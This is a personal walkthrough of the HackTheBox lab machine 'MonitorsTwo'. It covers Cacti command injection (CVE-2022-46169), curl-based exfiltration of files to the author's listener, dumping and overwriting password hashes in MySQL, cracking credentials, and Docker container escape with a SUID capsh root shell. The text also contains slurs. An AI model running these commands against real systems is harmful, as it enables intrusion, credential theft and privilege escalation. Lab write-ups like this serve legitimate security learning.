HackTheBox: Monitorstwo


This is the fourth active box I'm attempting on HTB. Im going to aim to do this without any assistance at all.

This is rated as easy both by the creator and by user ratings. That doesnt mean much though; even the easy boxes usually take me multiple days.


Im going to make absolutely sure that I dont use any information that wasnt available the day the box was released. IE, no exploit code that was made AFTER the release. Ill do this by using Google params like "before:YYYY-MM-DD".

The box was released April 29th it looks like.


We have ports 22 and 80 open, SSH and HTTP respectively. Nmap script scan shows it as an Ubuntu system. The website appears to be using nginx 1.18.0. The site title is "Login to Cacti".

Ill run a nikto scan first.

Some highlights from the nikto scan:

+ /: Retrieved x-powered-by header: PHP/7.4.33.
+ nginx/1.18.0 appears to be outdated 
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.

==///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.== If this is true and not a false positive, that's great; we potentially have a very easy in. That may actually be the case. because system blood for this box was only 20 minutes.

Unfortunately it looks like that was a false positive, because I cant get it to actually display any files.

The nikto scan DID find some actual files, but it got a lot of false positives too. Even the files it DID find are not accessible though, if you try to navigate to them in the URL. It just redirects you back to the site landing page. But if you try to navigate to a page that definitely doesnt exist (like /asdhfkjshdk.php), it gives you a 404. So the file IS there.

Ill start running gobuster while checking out the site itself.

Investigating the website

Wappalyzer thinks its using '==Marko==' as the web framework, with PHP as the language and nginx 1.18.0 as the server.

The landing page is a sign-in form That appears to be using a software called "==Cacti==", version number ==1.2.22==. That's potentially useful.

Gobuster findings

(This is just a list of some notable things Gobuster found, its not a thorough investigation yet) /cmd.php: you can actually navigate to this page, though it doesnt seem to do anything /CHANGELOG: You can actually view this page too, awesome.

Cacti vulnerability: CVE-2022-46169

I took measures to ensure I didnt use any information published AFTER the box was released. This CVE was released in December of 2022, so it came out well before this box.

Anyway, the Cacti software this box is running has a command injection vulnerability.

Lets start from the beginning though. What is Cacti?

"Cacti is an open source platform which provides a robust and extensible operational monitoring and fault management framework for users."

The exploit itself is somewhat complex. It can be found here: https://nvd.nist.gov/vuln/detail/cve-2022-46169 I wont summarize the entire thing here, but it has multiple stages.

The first stage involves tricking the Cacti remote client authentication system by setting a system variable through an HTTP header, which will cause Cacti to use its own IP when checking if client IP is authorized. This will always return true since there is a default entry in authorized hosts for Cacti's own IP.

Once authenticated, the attacker can trigger various actions. One action is "polldata", which is the vulnerable one. If the attacker triggers poller action "POLLERACTIONSCRIPTPHP", Cacti will execute the script specified in the "pollerid" variable using PHP function "procopen", which allows command execution and is not safe. So by setting pollerid with a value like ";whoami", it will execute whoami.

The only thing is, you need to provide the correct hostid and localdata_id values. They are easy to brute force though.

I may come back afterwards and try to exploit this manually, but there IS a poc script available (and was published before the box was released), so Ill just try to use that. The github repo is here: https://github.com/sAsPeCt488/CVE-2022-46169

The poc code lets you provide a range of host IDs and local data IDsto brute force, but it will use some defaults if you dont provide a range yourself. Ill try with the defaults first.

python3 CVE-2022-46169.py -c "curl"

The '-c' argument is the command to run. Im having it curl my server as a callback to make sure its working.

Huh... thought it wasnt working at first because I didnt get a callback, but then I noticed my IP address changed. Usually its, now its Weird. Oh well. Now that I corrected the IP its working, and I get a request for "test" on my server. Nice!

Getting a foothold

Now that I have the command injection working, lets get a foothold on the system.

I tried multiple reverse shells but nothing worked, so I suspect it doesn't have netcat.

I know it has curl, so Ill use curl to exfiltrate data in the POST headers. I ran the following as a PoC:

curl -d `whoami`

and got the following response on my netcat listener (port 80):

$ nc -nlvp 80  

listening on [any] 80 ...
connect to [] from (UNKNOWN) [] 60566
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 8
Content-Type: application/x-www-form-urlencoded


Beautiful, so that works.

I spoke too soon though: that method breaks if you use it with a command whose output contains spaces (so basically everything). However, the following works (credit to the discussion post here https://stackoverflow.com/questions/15912924/how-to-send-file-contents-as-body-entity-using-curl):

curl --data-binary "@/etc/passwd"

Awesome. ==Note: the "--data-binary" option preserves newlines in the text. The regular "--data" option does not.==

From the dump of /etc/passwd I see that there are no non-root human users. There's one entry that catches my attention:

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

==Never heard of that before. Let me take a quick look online for vulns. Fuck yeah: https://lia.mg/posts/dirty-pipe-lpe/

I didnt read the full article yet, but there's a priv esc thing related to gnats. Again, I took measures to make sure I only use info that was available at the time the box was released. The above article came out a month before the box did. I had to do a double take because the /etc/passwd file it showed on the site is literally identical to the one in this box. But the box wasnt released yet when the article came out, so its okay to use.

But, Im getting ahead of myself. I dont even have a shell yet. Lets get that first.

I worked around the inability to directly write the output of shell commands into the POST data by running a few commands to redirect cmd output into a file, then posted the file with curl. IE:

ls -al >> infodump; ls /home >> infodump; curl --data-binary "@infodump"

One of the files I noticed in the output was a ".rb" file, which I think means ruby. Maybe a ruby revshell will work? Nope. It looks like most of these one-liners are just wrappers for the bash trick of routing all IO to /dev/tcp/<attacker ip>. Looking at this machine's /dev dir, I dont see and /tcp subdir, so probably none of those methods will work.

Alright. Took me a while to think to do this, but I dumped the database file "cacti.db" that showed up when I dumped the current directory contents earlier. I saved this to a file and grepped for username, and found this:

INSERT INTO user_auth VALUES (1,'admin','21232f297a57a5a743894a0e4a801fc3',0,'Administrator','','on','on','on','on','on','on',2,1,1,1,1,'on',-1,-1,'-1','',0,0,0);

INSERT INTO user_auth VALUES (3,'guest','43e9a4ab75570f5b',0,'Guest Account','','on','on','on','on','on',3,1,1,1,1,1,'',-1,-1,'-1','',0,0,0);

Lets see if I can crack those hashes or even just google them. Hopefully its md5. Fuck yeah! I just googled the hash and the first page that came up had it:

The MD5 hash:  
was succesfully reversed into the string:  

Whats annoying is that I probably couldve just brute-forced that. Well, it didnt work on the cacti sign in page anyway, so I guess it doesnt matter.

Whats weird is that the one for 'Guest' doesnt even look like a hash, its so short.

Lets see if I can find the config file with the DB creds. Then maybe I can get www-data user to run a script that dumps the hashes from the DB.

Okay, got the mysql creds from include/config.php. Its just ==root:root==

Now what Im gonna do is write a script to dump the database contents. Specifically the usernames and hashes.

Finally got a shell

For fuck's sake. Finally got a shell working.

Basically I used the RCE to dump the output of "ps aux" into a file and then send the file to me using curl. I wasnt actually LOOKING for this, but I saw 5 other player's reverse shell code.

I typed exactly what they had running into the exploit code, but got nothing. Eventually I just made a script, "shell.sh", which had the code in it. Then I had the target curl the file, did chmod +x to make it executable (through the RCE code), and executed it using "./shell.sh". It FINALLY worked. So I guess it only works when run as a script, not as a command line input. Weird. Or maybe its an issue with the POC code sending special chars?

Anyway, here's the file I used successfully:


mysql --host=db --user=root --password=root cacti -e "

The box doesnt have python, so I cant upgrade the shell.

Internal network enumeration

On the [[Busqueda]] box, I had some luck with enumerating the docker machine's internal network. This revealed some other containers that were not visible outside the network. Checking /etc/hosts, I see 2 entries worth noting:       localhost      50bca5e748b0

If you check the device's hostname,

hostname -I

So assumedly, 172.19.0.x is the machine's internal network for docker containers. I could run my ghetto scan using scripted pings to check for other containers. My intuition tells me this isnt a very promising method, but it may be worth running in the background while doing other scans...

My patented ghetto network scanner:

for i in `seq 0 255`; do ping -c 1 172.19.0.$i; done >> ghetto_scan &

WOW. "ping not found". This piece of garbage doesnt even have ping.

Privilege Escalation

The first thing I tried was to run linpeas and pspy64. I hit a snag here; I tried to run them in /dev/shm/.shane, but got "permission denied" error.

At first I assumed I just didnt have executable privileges, but then I realized I had created and run an executable to get a shell in the first place. Then I realized it might be location-dependent permissions in effect. So I went back to /var/www/html and made a subdir ".shane", and imported my executables there. THEN I was able to run them without issue. I spawned another shell so that I would have a couple open at once, and ran PSPY64 and linpeas simultaneously. NOTE: Its interesting to watch what linpeas is doing on pspy.


linpeas identified the following path as 99% likely to be a PE vector:


this path is writable. Although I should probably check that its not just a symlink.

It also identified the following MySQL creds:

[+] Searching passwords in config PHP files
#$rdatabase_password = 'cactiuser';                                                   
$database_password = 'root';

Container Scanners

It looks clear that Im in a container of some sort, as the output of 'ps aux' is extremely brief and is missing any init PID. For that reason, it may be worth running a container scanner script to check for escape routes. Some scanners mentioned by hacktricks: 1) CDE 2) deepce

CDE CDE's output confirms that this IS a docker container as far as Im concerned. One thing it found was a file ".dockerenv" in the root dir "/". Its empty though.

Now here, my ignorance of Docker systems is problematic for me. I see output from the scanner that LOOKS interesting, but I dont know what the scanner is actually doing to find those files or how to use that info. Basically, I dont know how Docker works well enough to exploit it.

For instance, the scanner appears to have found the docker "overlay" used in this container. Which appears to be the file path in the host system where this machine is mounted or something? I dont know, thats the problem. I dont know enough about how this works.

I saved the "mounts" part of the output to 'CDE_output' on kali.

DeepCE Also, "DeepCE" looks like an awesome tool. This ALSO confirms that we are, in fact, in a container, and it was able to grab the full container ID. It seems like the container's hostname is just the first x chars from the container ID.

**Here's some exerpts from the DeepCE Scan:

[+] Dangerous Capabilities .. Yes

[+] Other mounts .............. Yes
/root/cacti/entrypoint.sh /entrypoint.sh rw,relatime - ext4 /dev/sda2 rw

[+] Any common entrypoint files ......... Yes
-rw-r--r-- 1 root root 648 Jan  5  2023 /entrypoint.sh

Note this part: ==[+] Docker sock mounted ....... No== This may mean that the container cant be escaped from within the container, but Ill have to check that.


Enumerating the Database

Despite not having a legit interactive shell, I can still enumerate the mysql db (painfully) by using the "-e" flag with the mysql command. E.g,

mysql --host=db --user=root --password=root cacti -e "SHOW DATABASES"

This will take forever, but I can use this method to enumerate the rest of the DB and hopefully find creds.

Maaaan.... Trying not to jump to conclusions here and assume that I got the winning creds, but Im kicking myself for not enumerating the DB sooner. I basically just checked the standart "mysql.user" table for hashes and then moved on, when really it was the cacti db that seems to contain creds...

Here's what I did:

$ mysql --host=db --user=root --password=root cacti -e "SHOW DATABASES"


$ mysql --host=db --user=root --password=root cacti -e "USE cacti; SHOW TABLES;"


$ mysql --host=db --user=root --password=root cacti -e "SELECT * FROM cacti.user_auth;"

<cant fit it all here due to size, but this contained the hashes for the cacti system. Can probably paste a screenshot or something...>

Anyway, the 'cacti.user_auth' table has the username, hash, full name, and password for each user. That's a gold mine at this point.

For one thing, the emails shown have the domain "monitorstwo.htb". Let me add this to /etc/hosts and revisit the web page, see if anything comes up... nope. Oh well, worth a shot.

John recognized the hashes for admin and marcus as 'bcrypt', and I have it working on them on my actual bare-metal host (rather than do it through kali vm)

FUCK YES!!!!! FUCK YES! Got a hit!!!

funkymonkey      (marcus)

Holy shit, what a relief.

Lets immediately try ssh with those creds (even though really, these are creds for the Cacti monitor app)

Oh my god thank fuck. That worked for SSH, and Im in. God damn what a relief. I don't even know why Im so relieved that that worked... was starting to think this box was beyond my ability. Fuck yeah.

$ ssh marcus@
marcus@'s password: (copy+pasted funkymonkey here)


Phew. Im going to start a new chapter here since really, THIS is the actual system foothold. And for the sake of due diligence, I did try these creds in the cacti app and it said marcus does not have access to any part of the monitor. So I can move on in good conscience.

Inception: The REAL foothold

Okay, beautiful; I finally got marcus's creds.

$ ssh marcus@
marcus@'s password: (copy+pasted funkymonkey here)


Lets see what we've got.

Also, something caught my eye in the ssh sign-in text:

You have mail.

Does it usually say that? Let me check /var/mail/marcus... okay, nothing there. False alarm, I assume.

Moving on, lets see what we've got.

A quick check with 'ps aux' shows that we almost definitely are in the real machine now, because PID 1 is /init. Good.

Got the user flag from /home/marcus/user.txt.

Priv Esc: The REAL system

Marcus has no sudo rights and no crontab.

Guess ill do the standard procedure of downloading pspy and linpeas and let them have at it.


Nothing really of use.


==umask== is non-default value; is 0002, default 0022.

Some system IPs:




Can I reverse-query DNS to find all hosts?


Pspy caught the following as I was running linpeas

2023/08/01 01:07:38 CMD: UID=0     PID=37145  | /sbin/modprobe -q -- net-pf-16-proto-4-type-2-17 

It caught my attention because it was running as root, just wanted to record it so I dont forget.

I see root run /lib/systemd/systemd-udevd pretty often...

It appears that a LOT of root processes spawn when a user signs in, mostly related to 'motd' (message of the day) and help info. Can I write to any of these?

A log of root events seen in pspy

cat cacti.log (nothing seems to have preceeded this, it hust happened)
find / -name *txt

Im thinking these must be another player? But 'w' doesnt show anyone in as root, usually it does.

This is bizarre... root is running linpeas.sh. WTF? Does he not know he's already root, or...?

Some others:

/sbin/modprobe -q -- net-pf-16-proto-4-type-2
/sbin/modprobe -q -- net-pf-16-proto-4-type-2-6

mysql --host=db --user=root --password=x xx cacti -e select * from user_auth;

==Wait... what???== ===Look at that last one: "mysql --host=db --user=root --password=x xx cacti -e select * from user_auth;" Am I seeing this correctly?

System enumeration

Ill also try running linenum.

Then Ill explore the /var/www/html directory.

Some things to check for priv esc

1) Are there other docker containers running and can I view/change their config files? 2) Did I miss anything in the web app? 3) Are their other machines on internal network to pivot to? Could run ghetto scan...

Enumerating Internal Network

Ghetto scan

The ghetto ping scan turned up 3 hosts on 172.19.0.x: - (self) - - (container I was in before)

Downloading nmap binary

I downloaded a static nmap binary from here: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

This removes the need to fuck around with manually pinging.

Running nmap on localhost shows port 8080 open. I assume that's nginx.

Nmap shows this container is running mysql on port 3306. I assume that this is the container I was interfacing with when I queried the cacti db earlier.

This is the container I was in earlier. Its only running http on port 80.


Now here's where things get a little weird. Nmap of localhost shows 3 ports open: SSH on 22, http on 80, http-proxy on 8080, and another http service on 44233.

Assumedly 8080 is nginx acting as reverse proxy. But is the http service on port 80 distinct from the http service on the container I was in before? Assumedly it is... How can I access the web page on THIS box?

What if I curl localhost while ssh'd in as marcus just to see if it's different? I mean assumedly from inside I can check the nginx config and the local web directory anyway...

When I curl 80 and 8080 I just get the cacti login page. But when I curl port 44233 I get a 404 error.

Shits going crazy

Im all over the place right now. Here's whats going on as Im trying to watch 50 things at once: 1) I have an nmap binary installed, am enumerating the other networks shown in ifconfig. 2) Need to investigate the port 80 and nginx stuff on the localhost 3) Need to investigate why I see user commands running as root. It appears one of the containers, probably the mysql one, can run root commands on the host

Investigating localhost's port 80

in /etc/nginx/nginx.conf we have the virtual host config:

# Virtual Host Configs

include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;

So the contents of this machine's /var/www/html is completely different from that of the container. This one only has the nginx stuff.

Forget it, I have a hunch this is a dead end.

Some anomalies in the pspy output

I noted earlier some weird commands running as root that I thought were players. They definitely are. It appears to be a player stuck in the original container.

My GUESS is that what Im seeing is a player who rooted the container, and due to some misconfiguration they also have root on the main machine. Why else would I be seeing commands from inside the container as root on the current machine? So I guess you have to root the container first?

I clearly have to enumerate the containers more. Also, if I try "su root" from within the container as www-data, I see it on pspy as UID 0. So it looks like the line between the container and the main system is a gray area... commands kind of 'seep through' when run as root.

Deep dive into docker

How did the container scanners figure out container ID from inside the container?

This command works from stack overflow:

cat /proc/self/cgroup | grep "docker" | sed s/\\//\\n/g | tail -1`

(https://stackoverflow.com/questions/20995351/how-can-i-get-docker-linux-container-information-from-within-the-container-itsel) Apparently container ID is stored in /proc/self/cgroup.

And here, it says that if container is running in privileged mode, root in the container gives root in the host:

**if you are root in a container you have the privileges of root on the host system**.


Backing up a few steps... Breaking in to Cacti web app

Realized something: I dont need to crack the admin password to get into Cacti if I can just overwrite it....

mysql --host=db --user=root --password=root cacti -e "set @pass = (SELECT password FROM cacti.user_auth WHERE username = 'marcus'); UPDATE cacti.user_auth SET password = @pass WHERE username = 'admin'"

This worked, I overwrote the admin hash with marcus's and was able to sign into the cacti web app as admin with password 'funkymonkey'.

The app seems pretty empty though.

Using pspy through the container reverse shell shows that the few operations in the portal that cause command line execution all run as www-data, so its not even a real priv esc route. Fuck.

Kind of cheating

Some jerkoff left exploit code in the home directory on the main system, but I looked through it and saw it was for CVE-2021-41091, which is a docker priv esc exploit.

Basically I have to get root in the container first, then add SUID permission to /bin/bash as root. Then the exploit code running in the host will traverse the file system to the vulnerable container and get me a root shell.

Still irritated that some faggot just left their stuff lying around, but oh well.

Someone seems to be in the middle of trying this, because now /bin/bash has the SUID bit set in the container. Im not gonna ride their coattails, Ill just wait till the weekend to try it.

So basically I have to root the container first. How did people know to check this?

Anyway, at work I did some research and some playing around with my own docker containers. When I came home I did a quick check to verify that this exploit would work. I checked that unprivileged users in the host could, in fact, access the filesystem of mounted Docker containers due to weak permissions. It's actually easy to do despite the oath containing a long random string (which I assume is there for security reasons...?). To figure out the path, just recursively grep /proc for the string "/merged". This will return the full path of the container regardless of your permissions:

grep -R /merged /proc 2>/dev/null 

/proc/mounts:overlay /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/proc/mounts:overlay /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged

The two paths in the output (shown above) are the mount points for the docker container file systems.

To verify that this system is vulnerable to this attack, simply try to list these paths:

ls /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
bin  boot  dev  docker-entrypoint-initdb.d  entrypoint.sh  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
bin  boot  dev  entrypoint.sh  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

What your seeing is the root filesystems of the two containers.

As a final proof of concept, lets run a binary from one of the containers:



Beautiful. So now what I have to do is root that container and set SUID bit on /bin/bash. Then from the host I'll do exactly what I just did, but with "/bin/bash -p" to get it to honor SUID (otherwise it ignores the SUID).

Trying the netfilter exploit again

There's a kernel exploit for linux versions 2.6.19 < 5.9 that involves Netfilter, and gives priv esc. 99% Sure thats the way to root the container. The container has gcc and netfilter. Find a PoC and give it a shot.

Im so stupid...


Remember how I mentioned how the login notification about 'mail' stood out to me earlier, when I first signed into SSH as marcus? I was right, but I fucked up when I checked the mail directory. I wrongly assumed the contents would be another directory, but it was actually a file... and it actually DID have contents. I had to get a hint from the forums for this one. The exact hint was this:


[Apr 29](https://forum.hackthebox.com/t/official-monitorstwo-discussion/280258/81?u=shpm "Post date")

Things that may help you shorten your way

- Remember which ports nmap detected, sometimes the user is not in the passwd file which you have access to
- Read your notifications ![:face_with_hand_over_mouth:](https://emoji.discourse-cdn.com/twitter/face_with_hand_over_mouth.png?v=12 ":face_with_hand_over_mouth:")

For anything else, you already know ![:smiling_face:](https://emoji.discourse-cdn.com/twitter/smiling_face.png?v=12 ":smiling_face:")

"Read your notifications". That's all it took to get me to look in the right place again. Like I said- I checked before, but didnt pay enough attention. I thought it was showing me an empty directory when really it was a file with actual text. FUCK.

The contents of the mail list a bunch of CVEs, one of which is the Moby exploit. Ah, so that's how they figured it out... not much else useful here.

Another stupid oversight...

I knew the task was to root the container. But I stupidly failed to check all the SUID bins in the container (as listed using find / -perm /4000 2>/dev/null) against GTFObins.

It turns out one of the SUID bins, capsh, is NOT standard and can get you a root shell with SUID alone:

/sbin/capsh --gid=0 --uid=0 --